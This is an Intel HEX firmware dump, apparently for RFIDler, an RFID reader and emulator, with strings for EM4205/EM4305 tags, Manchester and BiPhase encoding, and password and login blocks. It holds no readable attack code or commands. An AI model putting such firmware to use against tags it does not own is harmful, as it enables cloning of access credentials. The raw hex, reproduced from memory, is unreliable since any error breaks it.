:100768009741410f000000001000c0afea41410b63
:10077800000000002c00c38f1000c28f21106200ff
:1007880000004290212040003400c58f9741410f5e
:10079800000000001000c28f010042241000c2af08
:1007a8001000c38f2800c28f2b106200f1ff401485
:1007b800000000001000c0affc41410b0000000029
:1007c8003400c38f1000c28f211062002120000066
:1007d800212840009741410f000000001000c28fff
:1007e800010042241000c2af1000c38f3000c28f36
:1007f8002b106200f2ff40140000000004000424e3
:100808000c51410f000000002110000021e8c00336
:100818001c00bf8f1800be8f2000bd270800e00312
:1008280000000000e0ffbd271c00bfaf1800beafee
:1008380021f0a0032000c4af2110a0002800c6affb
:100848002c00c7af2400c2a3040004240010023cfb
:100858002005453410000624f34b410f000000002a
:100868002000c48f3400c58fb041410f0000000044
:100878001000c0af2d42410b000000001000c28fd5
:10088800801002002c00c38f211062000000428cef
:10089800212040003400c58fb041410f0000000006
:1008a8001000c28f010042241000c2af1000c38f95
:1008b8002800c28f2b106200f0ff401400000000d7
:1008c8001000c0af4042410b000000001000c28f72
:1008d800801002003400c38f211062002120000024
:1008e80021284000b041410f000000001000c28fd5
:1008f800010042241000c2af1000c38f3000c28f25
:100908002b106200f1ff40140000000004000424d2
:100918000c51410f000000002110000021e8c00325
:100928001c00bf8f1800be8f2000bd270800e00301
:1009380000000000e0ffbd271c00bfaf1800beafdd
:1009480021f0a003212000001000c2272128400028
:100958009741410f0000000021e8c0031c00bf8f31
:100968001800be8f2000bd270800e003000000002b
:020000040000fa
:020000041d05d8
:100978004e6f2044656c61790000000042502f34ae
:10098800202852462f3136290000000042502f38c7
:10099800202852462f382900496e76616c69640018
:1009a80032313070460000003235307046000000a9
:1009b80033333070460000003031303130000000f1
:1009c800464646464646464600000000303031302e
:1009d8003100000030313030310000002573000054
:1009e800202020202020202020496e666f20426c85
:1009f8006f636b202830293a20000000252e3873b9
:100a08000d0a0d0a000000002020202020202020b0
:100a18002020437573746f6d657220436f64653a67
:100a2800203078253033780d0a000000202020205f
:100a3800202020202020202020204361706163692d
:100a4800746f723a202564203d20000025730d0a3a
:100a5800000000002020202020202020202020200e
:100a680020204368697020547970653a20256420f5
:100a78003d200000454d343230350d0a000000009d
:100a8800454d343330350d0a00000000496e76615b
:100a98006c69640d0a00000025730d0a0d0a000038
:100aa8004e6f742070726573656e74000d0a202095
:100ab800202020202020202050574420426c6f63a3
:100ac8006b202832293a2025730d0a0d0a000000f0
:100ad8005772697465204f6e6c79000020202020c1
:100ae800202020436f6e66696720426c6f636b201d
:100af8002834293a20252e38730d0a0d0a000000e3
:100b0800547275650000000046616c736500000052
:100b180020202020202020202020202050696765c8
:100b28006f6e204d6f64653a2025730d0a00000032
:100b380020202020202020202020202020202020ad
:100b4800202020205254463a2025730d0a00000028
:100b5800202020202020202020202020202020208d
:100b680044697361626c653a2025730d0a000000c0
:100b78002020202020202020202020205772697447
:100b880065204c6f67696e3a2025730d0a000000d6
:100b98002020202020202020202020202052656195
:100ba80064204c6f67696e3a2025730d0a000000b7
:100bb800202020202020202020202020202020202d
:100bc800202020204c57523a2025640d0a000000ae
:100bd8002020202020202020202020202044656c58
:100be80061796564204f6e3a202564203d2000001d
:100bf80020202020202020202020202020202020ed
:100c0800456e636f6465723a202564203d200000bc
:100c18004d616e636865737465720000426950685f
:100c28006173650020202020202020202020202003
:100c380020204461746120526174653a2025642043
:100c48003d20000052462f25640d0a003030303216
:100c5800303035460000000030303031383035460d
:100c680000000000303030323130384600000000db
:100c7800303030303030303000000000303030312b
:040c88003100000037
:020000040000fa
:020000041d05d8
:100c8c00e8ffbd271400bfaf1000beaf21f0a003da
:100c9c001800c4af1800c48f3bff400f00000000c9
:100cac0021e8c0031400bf8f1000be8f1800bd27b1
:100cbc000800e00300000000e8ffbd271400bfaff0
:100ccc001000beaf21f0a0031800c4af1c00c5afcc
:100cdc001800c48f1c00c58f5b43410f000000003f
:100cec0021e8c0031400bf8f1000be8f1800bd2771
:100cfc000800e00300000000e8ffbd271400bfafb0
:100d0c001000beaf21f0a0031800c4af1c00c5af8b
:100d1c001800c48f1c00c58f8543410f00000000d4
:100d2c0008004010000000001800c48f1800c58f88
:100d3c004000062463b9400f000000005543410bee
:100d4c00000000002110000021e8c0031400bf8f38
:100d5c001000be8f1800bd270800e0030000000043
:100d6c00a8ffbd275400bfaf5000beaf21f0a003b9
:100d7c005800c4af5c00c5af1000c2272120400052
:100d8c005c00c58ffddb400f000000001700401019
:100d9c00000000001000c22721204000280005247c
:100dac00abbc400f000000005800c48f1000c227dd
:100dbc00212840002800062463b9400f00000000e1
:100dcc005800c48f0a000524d7bc400f0000000057
:100ddc005800c48f0a000524abbc400f0000000073
:100dec00010002247f43410b000000002110000091
:100dfc0021e8c0035400bf8f5000be8f5800bd27a0
:100e0c000800e00300000000a8ffbd275400bfaf9e
:100e1c005000beaf4c00b0af21f0a0035800c4afdf
:100e2c005c00c5af5c00c48fa34a410f00000000fa
:100e3c000b00422c040040140000000021100000a4
:100e4c00c543410b000000001000c22721204000c8
:100e5c00300005240a0006246551410f00000000f3
:100e6c005c00c48fa34a410f000000000a00032459
:100e7c00231062001000c327218062005c00c48f25
:100e8c00a34a410f00000000212000025c00c58f26
:100e9c0021304000494a410f000000001000c227d9
:100eac00212040000a000524abbc400f00000000cc
:100ebc001000c227212040000a000524d7bc400f97
:100ecc00000000001c00c227212040001000c22797
:100edc0021284000e7b8400f000000001c00c2278a
:100eec002120400028000524abbc400f000000006e
:100efc001c00c2275800c48f21284000a7dc400fdb
:100f0c00000000000100022421e8c0035400bf8f40
:100f1c005000be8f4c00b08f5800bd270800e00376
:100f2c0000000000e0ffbd271c00bfaf1800beafe3
:100f3c0021f0a0032000c4af2400c5af2800c6af29
:100f4c001400c0af2400c28f1000c2af6944410b23
:100f5c000000000000a0023cdc56422487004290b6
:100f6c00f9ff42240c00432c8200601000000000aa
:100f7c0080180200059d023c980f4224211062004b
:100f8c000000428c08004000000000002010059d6d
:100f9c007810059d8011059dd010059d8011059d33
:100fac008011059d8011059d8011059d8011059d69
:100fbc002811059d8011059dc80f059d00a0023cc0
:100fcc00dc564224b800428c821802001400c28ff6
:100fdc00180062002000c28f12200000211844006b
:100fec001000c28fff0042302120600021284000f9
:100ffc00bfde400f000000000400401400000000a1
:10100c00211000006f44410b000000006344410bb1
:10101c000000000000a0023cdc564224b800428cc8
:10102c00821802001400c28f180062002000c28fc8
:10103c0012200000211844001000c28fff00423023
:10104c0021206000212840008bab400f00000000e5
:10105c000400401400000000211000006f44410bfc
:10106c00000000006344410b0000000000a0023ca3
:10107c00dc564224b800428c821802001400c28f45
:10108c00180062002000c28f1220000021184400ba
:10109c001000c28fff004230212060002128400048
:1010ac00dfb0400f000000000400401400000000fe
:1010bc00211000006f44410b000000006344410b01
:1010cc000000000000a0023cdc564224b800428c18
:1010dc00821802001400c28f180062002000c28f18
:1010ec0012200000211844001000c28fff00423073
:1010fc0021206000212840002dcf400f000000006f
:10110c000400401400000000211000006f44410b4b
:10111c00000000006344410b0000000000a0023cf2
:10112c00dc564224b800428c821802001400c28f94
:10113c00180062002000c28f122000002118440009
:10114c001000c28fff004230212060002128400097
:10115c00cce2400f0000000004004014000000002e
:10116c00211000006f44410b000000006344410b50
:10117c0000000000211000006f44410b0000000033
:10118c001000c28f010042241000c2af1400c28fa5
:10119c00010042241400c2af1000c38f2800c28f7c
:1011ac002b1043006bff40100000000001000224d4
:1011bc0021e8c0031c00bf8f1800be8f2000bd2784
:0811cc000800e0030000000030
:020000040000fa
:020000041d05d8
:1011d4000080013c2628a100c24d0400ff002931f3
:1011e400c25d0500ff006b310080073c0042040033
:1011f400254007010052050025504701ffff2d251a
:10120400fe00a12d6100201000000000ffff6d25ed
:10121400fe00a12d770020100000000023602b01a8
:101224000d00800500000000200081290300201427
:10123400000000001500001002000a2425300a00f6
:1012440006508a0104688a011000a61100000000fb
:101254000e00001002004a3525480b0023600c00e4
:101264002000812903002014000000000700001062
:10127400020008242530080006408801046888011b
:101284000200a61100000000020008352460870057
:10129400266885011000a0050000000021400a0115
:1012a4002b680a011700a0110000000001000d3195
:1012b4000200a011000000000200083542400800ae
:1012c40001002925ff0001240e0021150000000063
:1012d4000c000010000008242b680a010400a0116f
:1012e40023400a0123400800030000102660870100
:1012f4005000001100000000203006712348260130
:101304000440c8000e0020190000000080000825d9
:1013140080000d2d21482d01026a08000100ad3125
:1013240023400d014040080042420800c06d0900fe
:1013340025400d0125100c010800e0030000000009
:10134400010006242330c9002000c12c39002010dc
:10135400000000000080013c2540010120000d2414
:101364002368a6010448a801020020110640c80011
:10137400010008350000092480000d25e3ffa105c4
:1013840000000000e1ff0010010009240e002015f8
:1013940000000000214008010500001100000000c9
:1013a40020600c7123482c0198ff00100440880130
:1013b400ff0001240f006111000000000080013cc7
:1013c4001800a11400000000216808011b00a015ea
:1013d40000000000ff00012414006115000000005b
:1013e400266885001500a005000000000d0000100f
:1013f40000000000080060150000000021504a01b0
:101404000a0040110000000020604c7123586c0158
:1014140082ff001004508a0121684a010700a015c8
:1014240000000000c4ff001025100500c2ff0010da
:1014340025100400c0ff001000000224beff0010ad
:08144400c0ff023c00000000a3
:020000040000fa
:020000041d05d8
:10144c0090ffbd276c00bfaf6800beaf21f0a003ba
:10145c007000c4af1000c0af01d5400f00000000f9
:10146c000f004014000000007000c28f04004010f8
:10147c000000000021100000a945410b00000000f5
:10148c00059d023ce44b4424059d023ce84b45245d
:10149c002013410f000000003445410b00000000f8
:1014ac003445410b000000004715410f00000000bf
:1014bc00040040100000000021100000a945410b61
:1014cc000000000001d5400f00000000f6ff4010a6
:1014dc00000000007000c28f0900401400000000e2
:1014ec00059d023ce44b4424059d023cf84b4524ed
:1014fc002013410f000000004f45410b000000007d
:10150c004f45410b000000004715410f0000000043
:10151c0004004014000000007000c28f0400401052
:10152c000000000021100000a945410b0000000044
:10153c00801b400f00000000f3ff40100000000073
:10154c007000c28f150040140000000017d5400f2a
:10155c0000000000059d033c084c64242128400039
:10156c008513410f000000000ed5400f0000000055
:10157c00059d033c304c6424212840008513410f09
:10158c0000000000059d023ce44b4424059d023cf8
:10159c00444c45242013410f000000003f0002245e
:1015ac001400c2a31400c3932800c227059d043c59
:1015bc00584c84242128600021304000345e400fb8
:1015cc000000000033004014000000000100022461
:1015dc001000c2af7000c28f03004010000000006a
:1015ec00a845410b000000001800c2272120400034
:1015fc00212800000d0006246551410f0000000059
:10160c001800c3272800c227212060002128400091
:10161c000c000624494a410f000000001800c227a4
:10162c00059d033c5c4c6424212840002013410f91
:10163c00000000003500c293100042300900401039
:10164c0000000000059d023c604c4424059d023cba
:10165c00684c45242013410f00000000a245410bab
:10166c00000000003800c28f059d033c704c6424c0
:10167c00212840008513410f000000002800c227dc
:10168c0021204000755f400f00000000cfff40108c
:10169c00000000001000c28f21e8c0036c00bf8f57
:1016ac006800be8f7000bd270800e003000000003a
:020000040000fa
:020000041d05d8
:1016bc0000800b3cc2450400ff000831c2550500f8
:1016cc00ff004a31003a04002538eb00004a0500bf
:1016dc0025482b012670850024586e01ffff0e252e
:1016ec00fe00c12d3f00201000000000ffff4e2522
:1016fc00fe00c12d53002010000000002b08e90053
:10170c0003002014000000004238070001000825e7
:10171c0082630900f40180011b00ec001220000020
:10172c0010300000ff3f2d311900a40112280000d9
:10173c00803306002b70c5000400c0112330c50097
:10174c00ffff84242130c9002b70c900f4018001f3
:10175c001b00cc0012380000103000001900a7014b
:10176c0012280000803306002b70c5000400c01145
:10177c002330c500ffffe7242130c9002b70c900be
:10178c00807304002138ee000200c01000390700fd
:10179c000100e7347e000e242370ca0121400e01a3
:1017ac00ffff0e25fe00c12d3400201000000000ac
:1017bc008000e7248000ee2c21400e01027207000d
:1017cc000100ce312338ee0040380700423a0700c2
:1017dc00c07508002538ee002510eb000800e0036a
:1017ec000000000008000015000000002138e70090
:1017fc000500e010000000002060ec7023400c019c
:10180c00baff0010043887010400481500000000de
:10181c00217029012f00c01100000000ff000124dd
:10182c00080041110000000012000011000000002f
:10183c002170e7002700c0150000000022000010f6
:10184c00000000000800401500000000214829019c
:10185c001d0020110000000020602c7123504c0151
:10186c00a6ff001004488901217029011900c01538
:10187c0000000000d9ff001025100b001200001d05
:10188c000000000001000c24236088012000812d41
:10189c00f8ff20100000000020000e242370cc0163
:1018ac000440c70102000011063887010200e7342a
:1018bc00000008248000ee24bdffc10500000000dc
:1018cc00bbff001001000824807f013cc3ff001007
:1018dc0025106101c1ff0010c0ff023c0000000098
:020000040000fa
:020000041d05d8
:1018ec00524649446c65725f53616d706c65730050
:1018fc004465736372697074696f6e005246494433
:10190c006c657220416e616c6f67756520436f6901
:10191c006c2053616d706c6573000000546167003e
:10192c005461672053657474696e6773000000001e
:10193c005461675f54797065000000005461672042
:10194c00547970650000000044617461000000006f
:10195c004d6f64756c6174696f6e00004d6f6475ca
:10196c006c6174696f6e20536368656d650000006f
:10197c00446174615f52617465000000446174617c
:10198c00205261746520284672616d6520436c6f2e
:10199c00636b73290000000025640000506f7473a2
:1019ac0000000000506f74656e74696f6d6574652e
:1019bc00722053657474696e67732028446563697b
:1019cc006d616c2900000000506f745f4869676896
:1019dc0000000000506f74656e74696f6d657465fe
:1019ec007220486967682053657474696e670000db
:1019fc00506f745f4c6f7700506f74656e74696fc5
:101a0c006d65746572204c6f772053657474696ec4
:101a1c006700000053616d706c65730054696d65ef
:101a2c002042617365642053616d706c6520417256
:101a3c007261797300000000436f696c5f446174dc
:101a4c0061000000416e616c6f67756520436972bf
:101a5c006375697420526177204461746120284851
:101a6c00455829005265616465725f4f75747075d5
:101a7c0074000000416e616c6f677565204369727c
:101a8c0063756974204469676974616c205265617f
:101a9c00646572204f7574707574202848494748e6
:101aac002f4c4f57290000004269745f50657269d2
:101abc006f6400004d6f64756c6174696f6e2053b8
:101acc006368656d652042697420506572696f6446
:101adc0020285449434b5329000000002573000073
:101aec000d0a000025643a200000000025640d0a50
:101afc00000000000050c3470000803f20bcbe4cdb
:081b0c0000007a440076134842
:020000040000fa
:020000041d05d8
:101b1400d8ffbd272400bfaf2000b3af1c00b2af75
:101b24001800b1af1400b0af4500800421808000dc
:101b34006e0082280f0040100b0082286f004010b6
:101b44006666023c80800400059d023c805342246a
:101b5400218002020000028e2400bf8f2000b38f78
:101b64001c00b28f1800b18f1400b08f0800e0037e
:101b74002800bd27eb51033c1f8563341800830004
:101b840010180000c39704006666133c676673264a
:101b9400059d113c805331264c00248e43190300cb
:101ba4002318720080100300001903002110430061
:101bb4008018020021104300231002022014027c2a
:101bc4001800530010180000c31702008318030004
:101bd400231062002014027c0900422480100200b9
:101be40021105100d147410f0000458c1800130209
:101bf4001098000021204000839813002390720263
:101c040040101200c0901200219052002380120252
:101c14002084107c8080100021881102d147410f5c
:101c24000000258e2400bf8f2000b38f1c00b28fcc
:101c34001800b18f1400b08f0800e0032800bd27fe
:101c4400238004002084107c6e00022a21004010ae
:101c54000b00022a30004054808010006666023c6b
:101c6400676642241800020210100000c327100007
:101c7400059d033cb45363248310020023104400e5
:101c840040280200c02002002120a4002014027c6d
:101c940023800402090042242084107c8010020066
:101ca4008080100021104300211803020000448c9e
:101cb400d147410f0000658c2400bf8f2000b38ff3
:101cc4001c00b28f1800b18f1400b08f0800e0031d
:101cd4002800bd27eb51033c1f8563341800030221
:101ce40010180000c39710006666133c67667326dd
:101cf400059d113ce746410bb453312667664224e7
:101d04001800820010100000c3270400059d033c46
:101d14001f47410b80536324059d023cb453422466
:0c1d240021800202d746410b0000028e15
:020000040000fa
:020000041d05d8
:101d300025188500450060102110000001000224d4
:101d400044008210c23f0500ffff0224620082109f
:101d50000a00022464008210f6ff02245700821059
:101d6000ffff02240800e010401905003f0080102a
:101d70000080023c232004002b10040023280500cf
:101d80002328a20040190500c21604002510620095
:101d9000c21e0500251043003800401480190500bc
:101da0008216040025106200821e050025184300db
:101db000510060141a000224c21f040040280500cc
:101dc000252865004020040080310500821e0400a3
:101dd0002518c3008236050025186600f6ff60103e
:101de000ffff42247f0043244900605882ff032400
:101df000070082300a004010ff006228c000857c86
:101e00000300842421208500c21604000400401031
:101e1000ff0062284220040001006324ff006228c2
:101e200037004010c2200400c005827c02004050f0
:101e30002118000000b0847c001207002510620009
:101e4000c01502000800e003251044000800e0036c
:101e500000000000bdffa054ffff02240012070095
:101e60007f0042340800e003c0150200c2ffa21444
:101e700023200400212000000080053c1a000224d9
:101e8000c0370500421804002518c3000100843043
:101e9000422805002520830040310500c21e0400b1
:101ea0002518c300c236050025186600f4ff60142b
:101eb000010042247a47410b7f004324a9ffa2146a
:101ec0000012070082004234c01502002000033ccb
:101ed0000800e003251043009effa4540a000224da
:101ee0009847410b001207009cffa054f6ff022404
:101ef000b147410b001207007c47410b99000324b6
:101f000000120700ff0042340800e003c015020081
:101f1000231862001b0065280800a0502120000043
:101f20009e00422404104400062064002b1002008e
:101f3000252044007c47410b010003248e47410bc0
:041f40002118000064
:020000040000fa
:020000041d05d8
:101f4400c23d0400ff00e730c24d0500ff00293107
:101f540000800a3c003204002530ca00004205001b
:101f640025400a012660850024504c01ffffec2423
:101f7400fe00812d2100201000000000ffff2c2511
:101f8400fe00812d36002010000000001900c8005a
:101f94001258000002006011103000000100c63425
:101fa4000300c0040000000040300600ffffe724e7
:101fb40082ff2c252138ec00ffffec24fe00812d4c
:101fc4003a002010000000008000c6248000cc2cc1
:101fd4002138ec000262060001008c312330cc0071
:101fe4004030060042320600c06507002530cc00b0
:101ff4002510ca000800e003000000000d00e014f2
:10200400000000002130c6000500c01000000000e0
:102014002058cb702338eb00d8ff00100430660141
:10202400ff0001241f002111000000001500001012
:10203400000000002160c6001a00801500000000a6
:102044000400201500000000216008011500801123
:1020540000000000ff0001240f0021150000000013
:102064000a002015000000002140080105000011ad
:102074000000000020580b7123482b01c3ff0010ff
:1020840004406801dbff001025100a0021600801ec
:102094000400801500000000807f013cd5ff001083
:1020a40025104101d3ff0010c0ff023cfaffe01ce1
:1020b4000000000001000b24235867012000612d5b
:1020c400f0ff20100000000020000c2423608b018e
:1020d400043886010200e010063066010200c634ae
:1020e400000007248000cc24b7ff81050000000015
:0c20f400b5ff00100100072400000000f0
:020000040000fa
:020000041d05d8
:10210000e0ffbd271c00bfaf1800beaf21f0a00349
:102110002000c4af2400c5af2800c6af1000c0a384
:102120001100c0a3a148410b0000000000a0023c28
:10213000dc56422487004290f9ff42240c00432cd5
:10214000460060100000000080180200059d023c5f
:1021500064214224211062000000428c08004000eb
:1021600000000000bc21059de021059d5c22059d2d
:102170000422059d5c22059d5c22059d5c22059d37
:102180005c22059d5c22059d3022059d5c22059dfb
:102190009421059d2000c28fff0042302120400085
:1021a0002400c58f2800c68f87de400f0000000086
:1021b0001000c2a39848410b000000002000c28f0d
:1021c000ff004230212040002400c58fbdab400fee
:1021d000000000001000c2a39848410b000000005e
:1021e0002000c28fff004230212040002400c58f14
:1021f0003eb1400f000000001000c2a39848410b00
:10220000000000002000c28fff004230212040006b
:102210002400c58f213000002800c78f90cf400fc9
:10222000000000001000c2a39848410b000000000d
:102230002000c28fff004230212040002400c58fc3
:10224000213000002800c78f31e3400f000000005c
:102250001000c2a39848410b0000000000000000dd
:102260001000c2930400401000000000010002248e
:10227000a648410b000000001100c2930100422457
:102280001100c2a31100c2930500422ca7ff401405
:10229000000000002110000021e8c0031c00bf8fd7
:1022a0001800be8f2000bd270800e00300000000da
:020000040000fa
:020000041d05d8
:1022b000e0ffbd271c00bfaf1800b2af1400b1afe4
:1022c0001000b0af0055a77cffffe2240098a87c67
:1022d000fe07492c2188c000c2870500211080001c
:1022e000410020112118000101fce7241000043cea
:1022f000251804012138f100422f0200c018030004
:10230000ff03e4242518a30025008018c010020054
:10231000070045301500a014c000457c403703007d
:10232000c2100200ff0785282510c2003600a01049
:10233000c21803000005657c0200a05021200000a7
:102340000098637cc08210002520900000250400c6
:10235000251883001c00bf8f1800b28f1400b18fa6
:102360001000b08f0800e0032000bd270300a52463
:10237000212845002b10a200211843000006667c8e
:10238000e6ffc0102110a000c02f03004210020081
:102390002510a20042180300c748410b0100842405
:1023a00002fc06242330c7003800c4281b008050dc
:1023b0002110000023200600200085300300a01417
:1023c00004888200042083002588820021204000a8
:1023d000a956410f212860002b88110025102202e8
:1023e000c448410b010004240500e0542110800082
:1023f000253004010c00c0140000000021108000f2
:10240000d548410b2118a000c01a1000ff07633403
:10241000001d0300d548410b2110000021180000c9
:10242000d148410b212000000300001520901271bb
:102430002090927020005226f5ff4626adffc01076
:1024400002fc0724b956410f212800010dfc072486
:08245000bd48410b2338f200e6
:020000040000fa
:020000041d05d8
:10245800e0ffbd271c00bfaf1800b2af1400b1af3a
:102468001000b0af6e00822c2f0040102180800039
:102478000b00822c0e004010059d023c8080040059
:10248800b4534224218002020000048e059d023cc0
:10249800d147410fe040458c1c00bf8f1800b28f18
:1024a8001400b18f1000b08f0800e0032000bd2792
:1024b800cccc113ccdcc31361900910010880000ed
:1024c800059d123cb4535226059d023ce040458cc4
:1024d800c288110009002226801002002110520033
:1024e800d147410f0000448c40181100c0881100ea
:1024f8002188710023801102ff00103280801000b3
:10250800219012020000458ed147410f2120400042
:102518001c00bf8f1800b28f1400b18f1000b08f4d
:102528000800e0032000bd27eb51123c1f855236fe
:102538001900920010900000059d113cb4533126fb
:10254800059d023ce040458c429112001200422653
:102558008010020021105100d147410f0000448c27
:102568008018120000911200219072008018120049
:102578002118430223180302cccc123ccdcc52368e
:10258800ff0063301900720010180000212040007d
:10259800c218030009006324801803002118710081
:1025a800d147410f0000658c1900120210900000fd
:1025b80021204000c290120040101200c09012006a
:1025c8002190520023801202ff00103280801000f8
:1025d80021881102d147410f0000258e1c00bf8fb2
:1025e8001800b28f1400b18f1000b08f0800e003fc
:0425f8002000bd27db
:020000040000fa
:020000041d05d8
:1025fc0025408500030008310300001121108000e4
:10260c00380000100000aa900000aa8c0101093cbf
:10261c0001012935c07909002340490124400f01eb
:10262c000700001124600a01050088110000000059
:10263c000000a5240000aa902a00001000008424a9
:10264c000400ab8c00008aac2340690124400f01cc
:10265c000700001124600b01050088110000000028
:10266c000400a5240000aa901e000010040084247d
:10267c000800aa8c04008bac2340490124400f01b4
:10268c000700001124600a010500881100000000f9
:10269c000800a5240000aa90120000100800842451
:1026ac000c00ab8c08008aac2340690124400f015c
:1026bc000700001124600b010500881100000000c8
:1026cc000c00a5240000aa90060000100c00842425
:1026dc001000aa8c0c008bac10008424ceff0010d0
:1026ec001000a5240300401500008aa00800e00398
:1026fc00000000000100ab900300601501008ba0ee
:10270c000800e003000000000200aa90030040153e
:10271c0002008aa00800e003000000000300ab9058
:10272c000300601503008ba00800e003000000000c
:10273c000400aa900300401504008aa00800e003de
:10274c00000000000500ab900300601505008ba095
:10275c000800e003000000000600aa9003004015ea
:10276c0006008aa00800e003000000000700ab9000
:10277c000300601507008ba00800e00300000000b8
:10278c000800aa9008008424d6ff00100800a52495
:020000040000fa
:020000041d05d8
:10279c00d0ffbd272c00bfaf2800b4af2400b3afcf
:1027ac002000b2af1c00b1af1800b0af2188800080
:1027bc000c008294010042304a004010040080acae
:1027cc0000a0143c74718282140040501000268ebc
:1027dc0000a0103cf46f102600a0133c94707326dc
:1027ec00ff49410b020112240b001352747180a299
:1027fc000c00029602014230fbff525414001026ca
:10280c005d52410f2120000214001026f9ff1356cf
:10281c000c000296747180a21000268e1600c01057
:10282c000e002496fd4a410f0800258e2f00401003
:10283c00040022aeffff0324340043500c00229608
:10284c000800238effff4224040022ae0100622404
:10285c00000022ae000062902c00bf8f2800b48fc5
:10286c002400b38f2000b28f1c00b18f1800b08fe2
:10287c000800e0033000bd27040020ae1000a5279f
:10288c00fd4a410f01000624010003240c004310f3
:10289c00ffff02240c002396100063340c0023a6c7
:1028ac002c00bf8f2800b48f2400b38f2000b28f70
:1028bc001c00b18f1800b08f0800e0033000bd275a
:1028cc001000a2932c00bf8f2800b48f2400b38f6c
:1028dc002000b28f1c00b18f1800b08f0800e003ed
:1028ec003000bd27194a410bffff02240c00229631
:1028fc00100042340c0022a60800238e040020aee7
:10290c00ffff0224194a410b000023ae3000423471
:08291c00414a410b0c0022a608
:020000040000fa
:020000041d05d8
:10292400211080005600c0100c00ca2c4d00401528
:102934002618a40003006330233804002900601023
:102944000300e7300600e0102330c7000000a3981e
:102954000300a3882128a700000083b82120870052
:102964000f00c3302338c3001100e0102130600091
:102974002138e5000000a3980300a3880400a89868
:102984000700a8880800a9980b00a9880c00aa9839
:102994000f00aa88000083ac040088ac080089ac4e
:1029a4001000a52410008424f2ffa714fcff8aacb5
:1029b4000300c3302338c3002a00e0102130600034
:1029c4002138e5000000a3980300a3880400a5248f
:1029d40004008424fbffa714fcff83ac2100001037
:1029e400000000000500e0102330c7000000a39899
:1029f4002128a700000083b8212087000f00c330de
:102a04002338c3000d00e010213060002138e500b8
:102a14000000a38c0400a88c0800a98c0c00aa8ccc
:102a2400000083ac040088ac080089ac1000a52425
:102a340010008424f6ffa714fcff8aac0300c33003
:102a44002338c3000700e010213060002138e5007e
:102a54000000a38c0400a52404008424fcffa71414
:102a6400fcff83ac0600c0102138c5000000a39011
:102a74000100a52401008424fcffa714ffff83a008
:102a84000800e0030000000000008a90211080008c
:102a940003004015000000000800e00300000224c9
:102aa40001008a9003004015000000000800e003c4
:102ab4000100022402008a90030040150000000077
:102ac4000800e0030200022403008a90030040157a
:102ad400822004000800e00303000224010084248f
:102ae4008020040000008a8c0101093c0101293581
:102af400c07909002340490124400f010600001158
:102b040024600a01040088110000000000008a907b
:102b1400220000100000842404008b8c23406901ef
:102b240024400f010600001124600b0104008811e9
:102b34000000000004008a9018000010040084249f
:102b440008008a8c2340490124400f01060000112b
:102b540024600a01040088110000000008008a9023
:102b64000e000010080084240c008b8c23406901a3
:102b740024400f010600001124600b010400881199
:102b8400000000000c008a90040000100c00842453
:102b940010008a8cd7ff0010100084240400401514
:102ba40000000000000084240800e00323108200d9
:102bb40001008a90040040150000000001008424f4
:102bc4000800e0032310820002008a9004004015ec
:102bd40000000000020084240800e00323108200a7
:102be40003008a90030084240800e0032310820079
:020000040000fa
:020000041d05d8
:102bf400e0ffbd271c00bfaf1800b2af1400b1af97
:102c04001000b0af1700a0102180a0002190c000d8
:102c14000e00c010211000000c008014211040028e
:102c24000000023c00004224150040102188c0002e
:102c3400010004240000000c01001026ffff3126cf
:102c4400fbff2016ffff02a2211040021c00bf8fd1
:102c54001800b28f1400b18f1000b08f0800e00389
:102c64002000bd27211000001c00bf8f1800b28f68
:102c74001400b18f1000b08f0800e0032000bd27be
:102c840000a0023c3800438c02000224250062109c
:102c940080bf023c80bf023c0060428c80bf063c87
:102ca4003060c62480bf053c1060a52400804230fb
:102cb40005004014211040020080033480bf023c10
:102cc400086043ac211040020000a38c0100633073
:102cd40009006014a00003243b4b410b00000000da
:102ce40005006010000000000000a48c0100843086
:102cf400fbff8010ffff63240000a38c01006330fe
:102d0400d2ff6054231042020000c38c010010263d
:102d1400ffff4224ecff4014ffff03a2144b410bbe
:102d24002310420240684224daff401080bf023c74
:102d34000068428c80bf063c3068c62480bf053cd6
:082d44002c4b410b1068a52483
:020000040000fa
:020000041d05d8
:102d4c00e0ffbd271c00bfaf1800b1af1400b0af3f
:102d5c000c00a29402004330480060102180a000b7
:102d6c00000243301c0060100400a38c00024534a8
:102d7c000c0005a61c006010ff0091300a00042412
:102d8c001f002412800042301000028e36006210a8
:102d9c00010063240000028e01004424000004aef4
:102dac00040003ae000051a00100032400a0023c6b
:102dbc00747143a00a000224180022520c000396de
:102dcc00211020021c00bf8f1800b18f1400b08f8f
:102ddc000800e0032000bd272800601400024534e1
:102dec000c0005a6ff0091300800048e000004ae14
:102dfc000a000424e5ff24561000028e80004230a5
:102e0c00e2ff40541000028e0d000424534b410f7e
:102e1c0021280002654b410b0400038e0001633036
:102e2c00e8ff60100a0002240e0004960800058ecc
:102e3c00ac52410f0400068e0400038e0600435072
:102e4c000800038e0c000296ffff11243000423460
:102e5c000c0002a60800038e040000ae2110200214
:102e6c00744b410b000003ae2024117c284d410f04
:102e7c0021280002754b410b1c00bf8f744b410b7a
:042e8c00ffff02241e
:020000040000fa
:020000041d05d8
:102e9000f0ffbd270c00beaf21f0a0030200c0a7c9
:102ea000ea4b410b000000000400c0a70200c297db
:102eb000060040140000000089bf023c0093428cd1
:102ec0000000c2a7c14b410b000000000200c397e5
:102ed00004000224060062140000000089bf023cc6
:102ee0001093428c0000c2a7c14b410b00000000b0
:102ef00089bf023c2093428c0000c2a7e24b410be9
:102f000000000000e24b410b000000000000c297ef
:102f10000f0042300600c2a70600c2970a00422cea
:102f200006004010000000000600c2973000422456
:102f30000600c2a7d24b410b000000000600c2975a
:102f4000370042240600c2a70200c29701004324b2
:102f50000200c3a72118400000a0023c4018030053
:102f600040724224211062000600c397020043a46d
:102f70000000c297021102000000c2a70400c2971d
:102f8000010042240400c2a70400c2970400422c9e
:102f900005004010000000000200c2970c00422c07
:102fa000daff4014000000000200c2970c00422c1f
:102fb000bdff40140000000021e8c0030c00be8fdc
:0c2fc0001000bd270800e0030000000026
:020000040000fa
:020000041d05d8
:102fcc00d0ffbd272c00bfaf2800b5af2400b4af95
:102fdc002000b3af1c00b2af1800b1af1400b0affb
:102fec0080180400059d023c285f422421106200d9
:102ffc00401904001c009324059d103cd448102655
:10300c00218003022190a0000000518c212060023d
:10301c0021280000c956410f21a8c0000800048ec9
:10302c000c00058e00800234040022ae9956410f2c
:10303c00008052361000048e1400058e8956410f04
:10304c002000543226008012059d023c059d023c56
:10305c00645a42240000048e09f840000400058ed6
:10306c000080023c80004224241042020a004010de
:10307c00000000001c0041068007427e1d0040102d
:10308c00059d023c059d023c245a42241800048ee6
:10309c0009f840001c00058e0d57410f21206002dd
